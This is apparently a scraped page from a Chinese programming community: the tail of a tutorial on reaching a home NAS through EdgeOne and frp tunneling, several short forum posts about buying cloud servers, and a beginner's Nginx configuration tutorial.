![](https://pic.code-nav.cn/post_picture/1777957337596817409/qCwQJe1AXVv5atg1.webp) 回到 EdgeOne 里,加速域名这里填写了ai.xxx.com,在源站配置里填写刚刚在 Lucky 里添加的子域名,回源协议选择`HTTPS`,回源端口填写 DDNS 里的端口,我这里写 20000,回源 HOST 头选择使用源站域名,然后点击下一步进行创建。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/i0ZTUVvCwqYjyU1q.webp) 然后会在部署中,稍等几分钟,可以看到已经生效了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/gijJzUbQfaubBsYb.webp) 接下来我们配置 Https,直接申请免费的证书。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/t10HIvBzmToRP51Z.webp) 现在等待申请证书,大概 5 分钟左右,免费证书就下来了。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/Uwt79faGOnmqIpqw.webp) 现在打开我们的加速域名,成功~ 简直完美。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/iGMndEpuIVx0Zjog.webp) 内网穿透 ---- 现在解决了从外网访问家庭内网的需求了,那么如果我想用公司的网络进行内网穿透怎么办了,比如我们的业务中可能会涉及到支付,支付回调需要公网地址,现在市面上有很多的内网穿透工具,但是都有限制,比如一个套餐只能设置一个内网端口,或者连接数也有限制等等。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/mr0xqwLAPlsHP7Zp.webp) 其实我们也可以用开源的内网穿透工具,github 上有个 star 数比较多的:[https://github.com/fatedier/frp](https://github.com/fatedier/frp),这个用的人比较多,功能也很成熟,我们可以根据他们的文档进行搭建,[https://gofrp.org/zh-cn/](https://gofrp.org/zh-cn/)。它的原理很简单:通过服务端和客户端之间建立一条长期、安全的连接,把家里或公司的电脑上的服务映射到公网,让外部可以直接访问。 它这个分为两个程序,一个是服务端(frps),一个是客户端(frpc)。客户端负责把你家网络中的设备连接上去,而服务端负责真正地对外提供访问入口。正因为服务端需要在公网能够被访问,它必须部署在一台具有固定公网 IP 的服务器上。这也就是为什么很多教程会要求你额外购买一台云服务器,把 frps 部署上去,然后再让家里的设备作为客户端连接过去。 这里就产生了一个问题:既然家里的 NAS 也能被公网访问,为什么还要多买一台服务器?而且服务器本身也是成本,每年续费也不便宜。NAS 本身就是一台小型服务器,支持 Docker、虚拟机等,而且现在宽带为我分配的就是公网 IP。既然这样,完全可以直接把 frps 运行在 NAS 上,让它直接承担“服务端”的角色。这样一来,就不再需要额外购买一台云服务器,公网访问入口就是我家宽带的公网 IP, 简直完美~ ![](https://pic.code-nav.cn/post_picture/1777957337596817409/daGDLpzZERNKniIr.webp) ### NAS 搭建 frps 服务 老规矩,直接进行docker,搜索 frps,看看有没有这个镜像,找一个 star 数最多的,进行下载。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/v0zqSMDqX2owOvoD.webp) 下载好之后添加到容器里,先把frps 的配置文件`/frp/frps.toml`映射到本地。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/f31IWvznlFL9t3jF.webp) 网络还是选择 host 模式。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/wINhOvOeuAqukMxg.webp) 点击命令,在自建分类里输入`'/bin/sh' '-c' '/frp/frps -c /frp/frps.toml'` 用来指定配置文件运行。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/bL3U1rIrRv722Gvt.webp) 其他的配置默认就可以,最后点击应用完成创建。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/4AsCXo4rgz6EttDv.webp) 在启动前,我们需要在刚刚映射的目录下新建个配置文件`frps.toml`。 ```properties # 服务端监听地址(必填) # 一般保持为 0.0.0.0,表示监听所有网卡 bindAddr = "0.0.0.0" # frpc 客户端连接 frps 的主端口(必填) bindPort = 7000 # QUIC 协议监听端口(可选,不需要可以关掉) quicBindPort = 7000 # HTTP/HTTPS 虚拟主机端口,用于反代 Web 服务(可选,但如需 Web 访问则必填) vhostHTTPPort = 20080 # 默认 80 可能被运营商封禁,所以用高位端口 vhostHTTPSPort = 20443 # 默认 443 也常被限制 # 连接性能优化相关配置(可选) transport.maxPoolCount = 2000 transport.tcpMux = true transport.tcpMuxKeepaliveInterval = 60 transport.tcpKeepalive = 7200 # 是否强制启用 TLS(可选) # 若为 true,客户端也必须开启 TLS 才能连上 transport.tls.force = false # ============================ # frps 管理面板(可选) # ============================ webServer.addr = "0.0.0.0" webServer.port = 7500 # 管理面板端口 webServer.user = "admin" # 管理员账号 webServer.password = "xxxxxxxxx" # 管理员密码 webServer.pprofEnable = false # 性能分析工具,一般不需要开 # ============================ # 日志配置(推荐填写,便于排查问题) # ============================ log.to = "/frp/frps.log" log.level = "info" log.maxDays = 3 log.disablePrintColor = false # ============================ # 客户端认证(必填) # ============================ auth.method = "token" auth.token = "xxxxxxxxxxxxxxxxxxx" # 服务端和客户端必须一致,否则无法连接 # ============================ # 端口控制(可选但强烈建议配置) # 限制客户端可映射的端口范围,提升安全性 # ============================ allowPorts = [ { start = 10001, end = 50000 } ] # 限制单个客户端最大端口映射数量(可选) maxPortsPerClient = 8 # UDP、NAT 分析相关优化参数(可选) udpPacketSize = 1500 natholeAnalysisDataReserveHours = 168 ``` ### 把frps端口暴露出去 在路由器的端口转发里,新建两条规则,一个是frpc 客户端连接 frps 的主端口,这个是必须的,还有个是管理端,这个不需要也可以。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/r66lemvYAEyEVU79.webp) 在 Lucky 的 Web 服务里新建一条子规则,前端地址填写内网穿透的子域名,后端地址填写 Frp 服务器对外暴露的访问端口,外部用户可以通过此端口访问我们的电脑服务。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/ESDE3TVrRdDBthQU.webp) ### 本地启动 frpc 客户端 首先去 Github 的下载页面:[https://github.com/fatedier/frp/releases](https://github.com/fatedier/frp/releases) 根据的电脑的系统,下载对应的软件,然后编辑下客户端的配置文件: ```properties # ----------------------------------------------------------------------------- # 通用配置 # ----------------------------------------------------------------------------- # Frp 服务端(Server)的 IP 地址,填写为宽带公网 IP serverAddr = "xxx.xxx.xxx.xxx" # Frp 服务端监听端口,与 Frp 服务器配置保持一致。 serverPort = 7000 auth.method = "token" # 身份验证 Token,与 Frp 服务器配置的 auth.token 一致。 auth.token = "xxxxxxxxx" # ----------------------------------------------------------------------------- # Web 管理界面 (可选) # ----------------------------------------------------------------------------- # 客户端本地状态页面的监听地址和端口。 webServer.addr = "127.0.0.1" webServer.port = 7400 # ----------------------------------------------------------------------------- # 代理配置 # ----------------------------------------------------------------------------- [[proxies]] # 代理名称。 name = "面试鸭后端代理" # 代理类型,例如 tcp, udp, http, https。 type = "tcp" # 本地服务 IP 地址。通常为 127.0.0.1。 localIP = "127.0.0.1" # 本地服务运行的端口。 localPort = 8013 # Frp 服务器对外暴露的端口,用户通过此端口访问,并且我们需要把这个端口在 Lucky 里配置反向代理。 remotePort = 28001 # ----------------------------------------------------------------------------- # 传输配置 (可选) # ----------------------------------------------------------------------------- # 启用数据加密。 transport.useEncryption = true # 启用数据压缩。 transport.useCompression = true ``` 然后运行 frpc ```bash ./frpc -c frpc.toml ``` ![](https://pic.code-nav.cn/post_picture/1777957337596817409/oWcgXMybH3eHEY1Q.webp) 然后我们打开刚刚配置的域名,可以看到后端已经可以访问了~ ![](https://pic.code-nav.cn/post_picture/1777957337596817409/1jGOXGPAo7o5of9i.webp) ### frp 控制台 其实在刚才的`frps.toml`里已经配置了控制台的端口和相关参数: ```bash webServer.addr = "0.0.0.0" webServer.port = 7500 # 管理面板端口 webServer.user = "admin" # 管理员账号 webServer.password = "xxxxxxxxx" # 管理员密码 webServer.pprofEnable = false # 性能分析工具,一般不需要开 ``` 我们只需要在 Lucky 的 Web 服务里再新建一条子规则,后端端口指定为 内网IP:7500,服务类型为反向代理。配置完成后打开刚刚填写的子域名,输入 frps 配置文件里的账号密码,就可以看到管理页面了,里面列出了每个内网服务的网络数据。 ![](https://pic.code-nav.cn/post_picture/1777957337596817409/LOmuxqIU50fW0mYK.webp) 这里得提一下cq写的 [服务器资源不够,又想让 hr 访问网站怎么办](https://www.codefather.cn/post/1864580261620547586) ,这篇文章的 frp 用法写的比较详细,大家可以参考下~ ### 结语 到这里,一套基于家庭宽带的公网IP服务+内网穿透实现就算完整跑通了。从了解国内常见的 NAT 类型、确认自己的宽带是否具备公网 IP,然后申请,再到配置光猫和路由器的拨号方式,最后利用 Lucky 做反向代理和域名访问,我们把原本需要云服务器才能实现的功能搬进了家里,可以让 NAS 上的各个服务直接从公网访问。 虽然这个文章已经能满足大多数用户的需求,但是如果你的宽带没有公网 IPv4,导致以上方式无法直接使用。但这个并不意味着你就无法远程访问家里的 NAS 或服务。现在的宽带都默认配置了公网的 IPv6,只要稍微配置一下,同样能实现从外网访问家庭网络,而且链路更短、性能更好。

购买服务器

想问一下大家,日常使用,这个服务器可以吗?

怎么购买服务器搭建项目

我想询问一些关于购买服务器的问题 我现在想在服务器上搭建两个项目,该怎么选择要购买的服务器,服务器大小跟有效期,(目前是大四)

华为云免费领取一年云服务器

## 前置条件 华为云注册账号并实名。 ## 具体步骤 ### 加入沃土云创计划 [https://developer.huaweicloud.com/programs/dev-program.html](https://developer.huaweicloud.com/programs/dev-program.html) <img src="https://pic.code-nav.cn/post_picture/1731952993458319362/2iEK2pW7LEvUzIfG.webp" alt="undefined" width="480" /> ### 进入开发者中心领取代金券 [https://developer.huaweicloud.com/space/incentive/program-activity](https://developer.huaweicloud.com/space/incentive/program-activity) <img src="https://pic.code-nav.cn/post_picture/1731952993458319362/UK39dAzzXiRXIMJg.webp" alt="Snipaste_2024-11-20_10-16-17.png" width="100%" /> ### 选择云服务器并购买 [https://console.huaweicloud.com/smb/?region=cn-north-4#/create/hecs-light?period=month_7&image_name=Debian&plan=basic_v2&resource_spec_code=hf.large.05.40g.30m.linux](https://console.huaweicloud.com/smb/?region=cn-north-4#/create/hecs-light?period=month_7&image_name=Debian&plan=basic_v2&resource_spec_code=hf.large.05.40g.30m.linux) #### 需要注意的点 1. 购买云服务器时不能选择一年的,因为一年的本身带有优惠,不能和代金券叠加使用。 2. 可以选择购买6个月或7个月,之后再续费6个月,续费也可以使用代金券。 3. 续费时可以选择统一到期日,榨干最后几元钱。 续费入口:进入云服务器实例后 <img src="https://pic.code-nav.cn/post_picture/1731952993458319362/HP4NRswezgn8BBd5.webp" alt="Snipaste_2024-11-20_10-14-27.png" width="100%" />

不敢相信,Nginx 还能这么玩?

大家好,我是程序员鱼皮。今天来聊聊 Nginx 技术,这是一个企业项目必用,但是却经常被程序员忽略的技术。学好 Nginx,可以助你在求职中脱颖而出。 或许你会想:“Nginx 不就是用来部署网站的服务器嘛?这有何难?” 但其实这不过是九牛一毛罢了,Nginx 的实用操作和使用技巧还多着呢,下面这篇文章,就带大家轻松入门 Nginx、并且循序渐进地学习 Nginx 真正的用法! > 推荐观看本文对应的视频版本,有更多操作演示哦:https://bilibili.com/video/BV1TW1LYkE59 ## 一、Nginx 入门 - 牛刀小试 首先要了解什么是 Nginx?注意读音,是 Engine X,而不是恩静因克斯。 根据官方定义,它是世界上最受欢迎的 Web 服务器、高性能负载均衡器、反向代理、API 网关和内容缓存。 虽然听不懂,但是感觉很厉害的样子。 <img src="https://pic.code-nav.cn/migrate_image/e1d85f6faf1906473482c6cfa1a8abcf.jpeg" alt="" width="272px" /> 简单来说,Nginx 不仅能部署网站,而且相比其他的 Web 服务器,它能够用更少的资源,同时处理更多用户的请求,让网站速度更快更稳定,这也是企业选择 Nginx 的原因。 下面我们就牛刀小试,用 Nginx 启动一个网站! ### 1、Nginx 安装 首先我们需要安装 Nginx ,先到官网中根据操作系统下载一个稳定版本的压缩包,下载完成之后解压一下。 <img src="https://pic.code-nav.cn/migrate_image/246185afc6f6770a783afc2ce4307c92.webp" alt="" width="100%" /> 如果是 Windows 系统,双击 exe 文件启动即可;如果是 Mac 或 Linux 系统,可以打开终端并进入该目录,手动编译安装后执行 Nginx 命令启动。 <img src="https://pic.code-nav.cn/migrate_image/cff6529840a573e8b8b343d3852797d1.webp" alt="" width="100%" /> 当然也可以使用第三方的包管理工具,比如 Chocolatey(Windows)、Homebrew(Mac)、Yum(Linux)。 或者使用现成的服务器运维面板,比如宝塔 Linux,可以傻瓜式一键安装: <img src="https://pic.code-nav.cn/migrate_image/27db68cfee35af2ba81d9ad5cc4fe975.webp" alt="" width="100%" /> ### 2、修改网页文件 启动成功后,我们访问本机域名 `localhost:80` (80 为默认端口,可以省略),就可以看到 Nginx 为我们提供的默认网站了。 <img src="https://pic.code-nav.cn/migrate_image/af31d8b75a0b92d6a754e0b7d7249beb.webp" alt="" width="100%" /> 那如果想自己修改网页内容,怎么办呢? 我们要找到 Nginx 的大脑,也就是配置文件。进入配置目录 `conf` ,就可以看到配置文件 `nginx.conf` 了。配置文件由块和指令组成,可以通过修改配置实现各种功能,比如通过 location 块和 root 指令配置网站文件的根路径: <img src="https://pic.code-nav.cn/migrate_image/b56f96442e0acfb66890bc38937838db.webp" alt="" width="100%" /> 我们找到这个 index.html 文件,修改网页的内容并保存: <img src="https://pic.code-nav.cn/migrate_image/f7999355dca11ea92c52ab2e77d4f43e.webp" alt="" width="100%" /> 重新访问就可以看到效果啦! <img src="https://pic.code-nav.cn/migrate_image/f0e71d17bd751abc74b6b022cc4c3207.webp" alt="" width="100%" /> 看到这里,恭喜你,已经超过 30% 的程序员了! ## 二、Nginx 常用操作 - 明劲 下面,我们要成为 Nginx 明劲武者。所谓明劲,就是要熟悉 Nginx 的基本配置和常用操作,能够满足企业开发中的大多数需求,如果你的目标是开发岗,那么学完下面这些就足够找工作了。 ### 1、静态文件服务 我们开发好的网站,通常包含像 HTML、CSS、JavaScript、图片等文件,由于这些文件的内容在存储时是固定的,被称为静态文件。 如果你要让别人访问到开发好的网站,只把网站文件放到服务器上还是不够的,还需要一个 Web 服务器,能够接受用户的访问请求,并找到对应位置的文件进行响应。 Nginx 最基本的功能,就是作为 Web 服务器提供静态文件服务。 打开 Nginx 的配置文件 `nginx.conf` ,添加 location 块,用于根据请求地址处理请求。比如我们通过 root 指令定义静态文件根目录,通过 index 指令定义默认首页文件: ```nginx server { listen 80; server_name localhost; location / { root /tmp/nginx/html; # 指定静态文件根目录 index index.html; # 默认首页 } } ``` 保存配置,然后执行 `nginx -s reload` 命令来重载配置,再次访问网站时就会返回刚配置的目录下的首页文件。 <img src="https://pic.code-nav.cn/migrate_image/c736db424c9b663d2eb280001f193dd0.webp" alt="" width="100%" /> 企业项目中,需要为特定路径定义不同的处理规则,location 块的配置会更复杂。支持根据请求路径的特定部分、正则表达式等进行匹配,比如到特定目录去寻找图片: ```nginx server { listen 80; # 监听 80 端口 server_name example.com; # 指定域名 # 根路径的配置,返回静态文件 location / { root /var/www/html; # 指向静态文件的根目录 index index.html; # 默认首页文件 try_files $uri $uri/ =404; # 如果文件不存在,则返回 404 } # 处理以 /images/ 开头的请求 location /images/ { root /var/www/assets/images/; # 指向图片目录 } # 正则匹配,处理以 .php 结尾的请求 location ~ \.php$ { include fastcgi_params; # 包含 FastCGI 参数 fastcgi_pass 127.0.0.1:9000; # 将请求转发到 FastCGI 处理程序 fastcgi_index index.php; # 设置 FastCGI 的默认索引文件 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 定义脚本文件名 } } ``` ### 2、反向代理 Nginx 的另一个常用功能是用作反向代理服务器。什么是反向代理呢?一句话:Nginx 作为中介,帮后端服务器接受请求。 <img src="https://pic.code-nav.cn/migrate_image/4f3e33c49cebcf9d29c0fd6808fe9265.webp" alt="" width="100%" /> 反向代理有什么作用呢? 首先是请求转发和解决跨域。比如在 location 块中添加 proxy_pass 配置,可以将 Nginx 在 80 端口收到的 /api 路径的请求转发到本地 8080 端口的后端服务。 ```nginx server { listen 80; # 监听 80 端口 server_name localhost; # 替换为你的域名或 IP 地址 location /api { proxy_pass http://localhost:8080; # 代理到本地的 8080 端口 } } ``` 这样就隐藏了后端服务器的 IP 地址,让客户端完全感知不到后端服务器的存在,更加安全。 <img src="https://pic.code-nav.cn/migrate_image/f39482dd2fcc303e291d0458efd898c4.webp" alt="" width="100%" /> 而且还能让前端和后端的域名统一,解决了跨域问题。 <img src="https://pic.code-nav.cn/migrate_image/b9b7a8f0be27123d827c21672b425677.webp" alt="" width="100%" /> 反向代理还可以用于实现负载均衡。由于企业项目的流量巨大,通常需要有多台后端服务器。Nginx 可以作为高性能网关,统一接收请求,并将请求按照特定规则转发到不同的后端服务器进行处理,从而分散了请求压力,避免单一服务器过载。 <img src="https://pic.code-nav.cn/migrate_image/611c728b200e2b3152dae1350354c7a0.webp" alt="" width="100%" /> 在 Nginx 中实现负载均衡非常简单,首先通过 upstream 块定义了一个名为 backend 的服务器组,其中包含两个后端服务器,然后通过反向代理配置将请求转发到这个服务器组即可: ```nginx upstream backend { server localhost:8080; # 第一个后端服务器 server localhost:8081; # 第二个后端服务器 } server { listen 80; server_name localhost; location /api { proxy_pass http://backend; # 代理到负载均衡的后端服务器 } } ``` 这样每次都访问同一个地址,会交替返回两种不同的内容,这是因为 Nginx 的默认负载均衡算法是轮询,请求会被平均转发到两个不同的服务进行处理。 反向代理还有更多的作用,比如缓存常见请求的响应、减少后端负担,集中处理 SSL 加密、认证和日志记录等功能,后面会依次讲解。 ### 3、改写请求和响应 第三个 Nginx 的常用功能是改写请求和响应。在请求到达服务器或响应返回给客户端之前,Nginx 可以对其进行修改。 改写请求与响应有什么作用呢?有几个比较典型的场景: #### 1)控制浏览器缓存 首先,**设置响应头** 可以帮助我们控制浏览器缓存。通过 Nginx 的 `add_header` 指令,可以为响应添加自定义的 HTTP 头部,从而指导浏览器如何处理缓存。比如设置缓存有效期为 30 天: ```nginx location /images/ { root /tmp/nginx/html; expires 30d; # 设置缓存有效期为 30 天 add_header Cache-Control "public"; # 设置缓存头 } ``` 这样,当用户访问图片时,浏览器会在本地缓存这些图片,下次访问时就不用访问服务器了,提高速度并减少对服务器的请求。 <img src="https://pic.code-nav.cn/migrate_image/dc9b1095996ecc36e3b7f7588b496b0e.webp" alt="" width="100%" /> #### 2)重定向 请求重定向允许我们将请求从一个地址自动引导到另一个地址,常见的应用场景包括将 HTTP 请求重定向到 HTTPS,或者将旧地址重定向到新地址。 在 Nginx 中,可以使用 `return` 指令 + 302 状态码配置重定向: ```nginx location /old-page { return 302 https://codefather.cn # 重定向到新页面 } ``` 当用户访问某个过期页面时,会被重定向自动跳转到新网站。 #### 3)URI 重写 比重定向更高级一些,Nginx 提供了 `rewrite` 指令,支持正则表达式,可以非常灵活地将请求重写为不同的路径或网站。比如将 `/api/v1/users` 的请求重写为 `/api/users`: ```nginx location /api/v1/ { rewrite ^/api/v1/(.*)$ /api/$1 break; # 将 /api/v1/ 的请求重写为 /api/ } ``` 这样一来,后端就不用再关注 `/api/v1/` 的存在了,这种方法在网站迁移或者结构调整时非常有用。大家也不用去记忆改写的具体语法,随用随查就行。 --- 看到这里,恭喜你,超过 60% 的程序员了。 ## 三、Nginx 高级操作 - 暗劲 下面,我们要成为 Nginx 的暗劲高手。所谓暗劲,又分为 2 种境界。 + 熟悉 Nginx 的各种特性和高级配置,能更快速地配置和管理 Nginx,为小圆满 + 熟悉 Nginx 工具和模块生态,能够灵活运用 Nginx 进行架构设计、并巧妙地解决各种需求,为大圆满。 暗劲境界的高手,挑战大厂开发、架构师、高级系统管理员岗位,不成问题。 ### 1、Nginx 高级配置 我们先挑战小圆满,Nginx 的配置项实在是太多了,这里我就挑选几个相对实用的来讲解。 #### 1)日志记录 为了分析网站流量、用户行为和报错信息,我们可以开启 Nginx 日志功能。分为访问日志和错误日志。 访问日志会记录所有请求的信息,更全面,可以通过修改 access_log 指令调整日志存储路径: ```nginx http { log_format custom_format 'yupi $remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /rap/access.log custom_format; # 配置访问日志 server { listen 80; server_name localhost; location / { root /tmp/nginx/html; # 指定静态文件根目录 index index.html; # 默认首页 } } } ``` 而错误日志仅记录 Nginx 在处理请求时遇到的问题,错误又分为 8 个级别: <img src="https://pic.code-nav.cn/migrate_image/511bac9b54d06e86996baf218033b38f.webp" alt="" width="375px" /> 可以为不同的级别指定不同的日志输出路径: ```nginx access_log /rap/access.log custom_format; # 配置访问日志 error_log /rap/error.log error; # 配置错误日志 ``` 开启日志功能后,就能直接在文件中查看日志了。 <img src="https://pic.code-nav.cn/migrate_image/13af9f61a5501093a46a7294a6838895.webp" alt="" width="100%" /> #### 2)访问控制 如果有恶意用户攻击我们的网站,怎么办? 莫慌,Nginx 提供了访问控制功能,可以使用 `allow` 和 `deny` 指令对 IP 访问进行限制,比如不让 127.0.0.1 这个 IP 访问: ```nginx server { listen 80; server_name localhost; location / { # 拒绝特定 IP 地址 deny 127.0.0.1; # 除了写具体 ip 外,也可以写网段 deny 192.168.1.0/24; # 允许所有其他 IP 地址 allow all; proxy_pass http://localhost:8081; } } ``` 这样一来,攻击者就访问不了网站了! <img src="https://pic.code-nav.cn/migrate_image/35d17d3a0c705ae5fcc7d7a94e6ab541.webp" alt="" width="100%" /> #### 3)限流 为了保护网站,我们还可以使用 Nginx 的限流功能。比如下面这段配置,通过定义请求限流区域并应用于根路径,限制每个 IP 地址在一分钟内最多只能发送 2 个请求。 ```nginx # 定义限流区域,使用客户端的二进制 IP 地址作为唯一标识 # zone=one:10m 表示创建一个名为 "one" 的内存区域,大小为 10MB # rate=2r/m 表示每个 IP 地址每分钟最多允许 2 个请求 limit_req_zone $binary_remote_addr zone=one:10m rate=2r/m; server { listen 80; # 监听 80 端口,接收 HTTP 请求 server_name localhost; # 设置服务器名称为 localhost location / { # 配置根路径的请求处理 # 应用限流配置,使用之前定义的 "one" 区域 # burst=10 表示可以允许最多 10 个额外请求超出正常限速 # nodelay 表示在突发请求情况下,这 10 个请求将立即被处理,不会被延迟 limit_req zone=one burst=10 nodelay; # 将请求转发到本地的 8080 端口 proxy_pass http://localhost:8080; # 反向代理请求到后端服务 } } ``` 这样后端服务就不被流量激增影响,能够提高系统的稳定性。 <img src="https://pic.code-nav.cn/migrate_image/1c638028132b8e94cf819f64d913ecd7.webp" alt="" width="100%" /> #### 4)虚拟主机 在企业开发中,我们为了节省成本,经常会在同一台服务器上部署多个网站项目,这时就需要使用 Nginx 的虚拟主机功能了。 每个网站通常就是一个虚拟主机,会有一个 server_name 名称对应访问网站的域名,比如我这里配置 2 台虚拟主机: ```nginx # 虚拟主机1 server { listen 80; # 监听 80 端口 server_name localhost; # 配置域名为 example.com root /tmp/nginx/html; # 网站根目录 index localhost.html; # 默认首页 } # 虚拟主机2 server { listen 80; # 监听 80 端口 server_name 127.0.0.1; # 配置域名为 another.com root /tmp/nginx/html; # 网站根目录 index 127.html; # 默认首页 } ``` 配置虚拟主机后,Nginx 就能够根据请求的域名找到对应的网站配置,并处理请求。 <img src="https://pic.code-nav.cn/migrate_image/846f2728998e9b65419c5427e291e4b1.webp" alt="" width="100%" /> #### 5)其他 除了上面这些,还有很多企业开发中可能会用到的 Nginx 高级配置和技巧。 比如可以: - 通过后端响应缓存配置,让 Nginx 直接从缓存中读取数据来响应请求,这样能够显著提升性能、减少服务器压力。 - 通过正向代理的设置,Nginx 可以作为 “跳板机”,帮客户端发起请求,从而访问原本无法直接访问的资源。 - 通过自定义错误页面,能够给用户提供更友好的错误提示信息。 此外,Nginx 支持 WebSocket、HTTPS 和 HTTP/2 等多种协议,还可以配置 Gzip 压缩来减少传输的数据量,进一步优化性能。 最后,Nginx 自身也支持一系列性能调优的配置,比如工作进程与连接数配置,可以从容应对高并发和大流量场景。 ```nginx worker_processes auto; # 自动检测 CPU 核心数,设置工作进程数 events { worker_connections 2048; # 每个工作进程的最大连接数 } ``` ### 2、Nginx 工具和模块生态 想成为 Nginx 大圆满高手,就要懂得利用工具和生态,比如可视化工具、模块和开源项目。 首先,Nginx 的配置和运维对初学者来说可能比较复杂,这时可以利用 Nginx 官方推出的 Nginx Amplify、轻量级的 Nginx-UI 或者宝塔 Linux 服务器管理面板等可视化工具,通过图形界面来更直观地查看配置、分析流量和性能指标,从而提高操作和运维效率。 <img src="https://pic.code-nav.cn/migrate_image/edd4ee8c75c962db4d749f7ef44bd4eb.webp" alt="Nginx UI 面板" width="100%" /> 其次,Nginx 的功能并不是一成不变的,我们可以通过各种各样的模块来扩展它的能力,比如我们常用于健康检查的 nginx_upstream_check_module 模块、实现 JavaScript 语言扩展的 njs 模块。 但手动安装模块的过程是比较繁琐的,需要下载源码并进行编译。 这种情况下,我们就可以选择 OpenResty 这样一个基于 Nginx 的高性能 Web 平台,它集成了大量模块、依赖项和 Lua 脚本库,能够让你直接在 Nginx 里开发复杂的业务逻辑,充分利用 Nginx 的非阻塞 I/O 模型来提升应用的性能,适合超高并发的场景。 比如下图是网上的一个基于 OpenResty 实现的灰度发布架构: <img src="https://pic.code-nav.cn/migrate_image/51cfa0538483df554bce613efe8ed9a3.webp" alt="" width="100%" /> ## 四、Nginx 原理 - 化劲 想要突破为化劲强者,你需要去理解 Nginx 的核心原理,甚至是去钻研那晦涩难懂的 C 语言源码。 **当然,为了应对面试,现在很多程序员迫不得已朝着化劲强者进发。** 原理的学习就不是几分钟的视频能搞定的了,但是我可以帮大家划划重点。 - 负载均衡机制 - 事件驱动模型 - 请求处理流程 - 多进程架构 - 进程间通信机制 - 限流机制 - 缓存机制 - 压缩机制 - 资源复用 能搞懂这些,并且融会贯通,你就能够更自如地优化 Nginx 的性能和可用性等等,也就超过 99% 的程序员了。 当然,编程是学不完的,真正的 Nginx 绝世高手,可以给 Nginx 贡献代码,甚至是自立门户、手写 Nginx 的竞品。 **我相信看到这里的小伙伴中肯定会出现绝世高手~** 希望这篇文章对大家有帮助,学会的话也还请给本文一个点赞支持哦~ ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://mianshiya.com)

大伙最近使用阿里云的轻量服务器有没有觉得很卡呀? 我最近使用 gateway 远程开发的时候连接我的阿里云服务器时不时会断掉耶,IDE 断掉的时候用 IShell 也连不上,但是稍等一下就好了。我的服务器配置 2c2g,平常远程开发的时候 CPU 在 20% 左右,内存在 80% 左右。有没有解决办法呀?

4G服务器购买问题

想问问现在哪里还有4G的云服务器优惠吗?看了大部分官网一年都要1000左右好贵

下载 APP